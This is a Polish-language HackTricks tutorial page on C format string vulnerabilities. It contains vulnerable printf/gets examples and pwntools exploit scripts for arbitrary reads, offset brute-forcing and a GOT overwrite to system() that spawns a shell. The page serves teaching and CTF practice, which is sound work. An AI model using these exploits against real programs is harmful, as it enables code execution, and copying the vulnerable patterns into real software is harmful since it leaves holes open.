mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
241 lines
12 KiB
Markdown
241 lines
12 KiB
Markdown
# Ciągi formatujące
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Podstawowe informacje
|
|
|
|
W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry**, które są oczekiwane, to **wartości**, które mają **zastąpić** **formatery** z surowego tekstu.
|
|
|
|
Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**.
|
|
|
|
Podatność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wykorzystując** możliwości **ciągu formatującego printf**, aby odczytać i **zapisać dowolne dane pod dowolnym adresem (do odczytu/zapisu)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
|
|
|
#### Formatery:
|
|
```bash
|
|
%08x —> 8 hex bytes
|
|
%d —> Entire
|
|
%u —> Unsigned
|
|
%s —> String
|
|
%p —> Pointer
|
|
%n —> Number of written bytes
|
|
%hn —> Occupies 2 bytes instead of 4
|
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|
```
|
|
**Przykłady:**
|
|
|
|
* Wrażliwy przykład:
|
|
```c
|
|
char buffer[30];
|
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|
```
|
|
* Normalne użycie:
|
|
```c
|
|
int value = 1205;
|
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|
```
|
|
* Z Brakującymi Argumentami:
|
|
```c
|
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
|
```
|
|
* podatny fprintf:
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char *argv[]) {
|
|
char *user_input;
|
|
user_input = argv[1];
|
|
FILE *output_file = fopen("output.txt", "w");
|
|
fprintf(output_file, user_input); // The user input cna include formatters!
|
|
fclose(output_file);
|
|
return 0;
|
|
}
|
|
```
|
|
### **Dostęp do wskaźników**
|
|
|
|
Format **`%<n>$x`**, gdzie `n` to liczba, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz to zrobić:
|
|
```c
|
|
printf("%x %x %x %x")
|
|
```
|
|
i odczytałbyś od pierwszego do czwartego parametru.
|
|
|
|
Albo możesz:
|
|
```c
|
|
printf("$4%x")
|
|
```
|
|
i przeczytaj bezpośrednio czwarty.
|
|
|
|
Zauważ, że atakujący kontroluje parametr `pr`**`intf`, co oznacza, że** jego wejście będzie na stosie, gdy zostanie wywołane `printf`, co oznacza, że może wpisać konkretne adresy pamięci na stosie.
|
|
|
|
{% hint style="danger" %}
|
|
Atakujący kontrolujący to wejście, będzie mógł **dodać dowolny adres na stosie i sprawić, że `printf` będzie mógł się do nich odwołać**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
|
|
{% endhint %}
|
|
|
|
## **Odczyt arbitralny**
|
|
|
|
Możliwe jest użycie formatownika **`%n$s`** aby sprawić, że **`printf`** pobierze **adres** znajdujący się na **pozycji n**, a następnie **wydrukuje go jakby to był łańcuchem znaków** (wydrukuj do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to **`0x8048000`**, i wiemy, że wejście użytkownika zaczyna się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego z:
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./bin')
|
|
|
|
payload = b'%6$s' #4th param
|
|
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
|
payload += p32(0x8048000) #6th param
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|
```
|
|
{% hint style="danger" %}
|
|
Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony zerem na końcu tego adresu.
|
|
{% endhint %}
|
|
|
|
### Znajdź przesunięcie
|
|
|
|
Aby znaleźć przesunięcie dla swojego wejścia, możesz wysłać 4 lub 8 bajtów (`0x41414141`), a następnie **`%1$x`** i **zwiększyć** wartość, aż odzyskasz `A's`.
|
|
|
|
<details>
|
|
|
|
<summary>Brute Force printf offset</summary>
|
|
```python
|
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
|
|
|
from pwn import *
|
|
|
|
# Iterate over a range of integers
|
|
for i in range(10):
|
|
# Construct a payload that includes the current integer as offset
|
|
payload = f"AAAA%{i}$x".encode()
|
|
|
|
# Start a new process of the "chall" binary
|
|
p = process("./chall")
|
|
|
|
# Send the payload to the process
|
|
p.sendline(payload)
|
|
|
|
# Read and store the output of the process
|
|
output = p.clean()
|
|
|
|
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
|
if b"41414141" in output:
|
|
# If the string is found, log the success message and break out of the loop
|
|
log.success(f"User input is at offset : {i}")
|
|
break
|
|
|
|
# Close the process
|
|
p.close()
|
|
```
|
|
</details>
|
|
|
|
### Jak użyteczne
|
|
|
|
Arbitrary reads mogą być przydatne do:
|
|
|
|
* **Wycieku** **binarnego** z pamięci
|
|
* **Dostępu do konkretnych części pamięci, w których przechowywane są poufne** **informacje** (takie jak canaries, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
|
|
|
## **Arbitrary Write**
|
|
|
|
Formatter **`$<num>%n`** **zapisuje** liczbę zapisanych bajtów pod wskazany adres w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$<num>%n`** zapisze dowolną liczbę pod dowolnym adresem.
|
|
|
|
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera **`%.<num-write>%<num>$n`** do zapisania liczby **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
|
```bash
|
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|
AAAA.%500\$08x —> Param at offset 500
|
|
```
|
|
Jednakże zauważ, że zazwyczaj aby zapisać adres takiej jak `0x08049724` (który jest OGROMNY aby zapisać go naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najstarszych 2B adresu i drugi raz dla młodszych.
|
|
|
|
Ta podatność pozwala na **zapisanie czegokolwiek pod dowolny adres (arbitrary write).**
|
|
|
|
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie później wywołana. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania:
|
|
|
|
{% content-ref url="../arbitrary-write-2-exec/" %}
|
|
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
|
{% endcontent-ref %}
|
|
|
|
Nadpiszemy **funkcję**, która **przyjmuje** swoje **argumenty** od **użytkownika** i **wskażemy** ją na funkcję **`system`**.\
|
|
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw **zapisujesz 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**.
|
|
|
|
* **HOB** odnosi się do 2 najstarszych bajtów adresu
|
|
* **LOB** odnosi się do 2 młodszych bajtów adresu
|
|
|
|
Następnie, ze względu na sposób działania łańcucha formatującego, musisz **najpierw zapisać mniejszy** z \[HOB, LOB\], a następnie drugi.
|
|
|
|
Jeśli HOB < LOB\
|
|
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
|
|
|
Jeśli HOB > LOB\
|
|
`[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
|
|
|
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
|
```
|
|
{% endcode %}
|
|
|
|
### Szablon Pwntools
|
|
|
|
Możesz znaleźć **szablon** do przygotowania eksploitu dla tego rodzaju podatności w:
|
|
|
|
{% content-ref url="format-strings-template.md" %}
|
|
[format-strings-template.md](format-strings-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
Albo ten podstawowy przykład stąd [**tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./got_overwrite-32')
|
|
libc = elf.libc
|
|
libc.address = 0xf7dc2000 # ASLR disabled
|
|
|
|
p = process()
|
|
|
|
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
|
p.sendline(payload)
|
|
|
|
p.clean()
|
|
|
|
p.sendline('/bin/sh')
|
|
|
|
p.interactive()
|
|
```
|
|
## Formatowanie łańcuchów do przepełnienia bufora
|
|
|
|
Możliwe jest nadużycie działań zapisu podatności na łańcuchy formatujące do **zapisywania adresów ze stosu** i wykorzystanie podatności typu **przepełnienie bufora**.
|
|
|
|
## Inne przykłady i odnośniki
|
|
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
|
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
|
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
|
* 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie łańcuchów formatujących do wycieku flagi ze stosu (nie trzeba zmieniać przepływu wykonania)
|
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
|
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
|
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do zapisania adresu wewnątrz funkcji main w `.fini_array` (aby przepływ znowu się zapętlił) i zapisania adresu `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wraca do funkcji main, `strlen` jest wykonywane z wejściem użytkownika i wskazując na `system`, co spowoduje wykonanie przekazanych poleceń.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|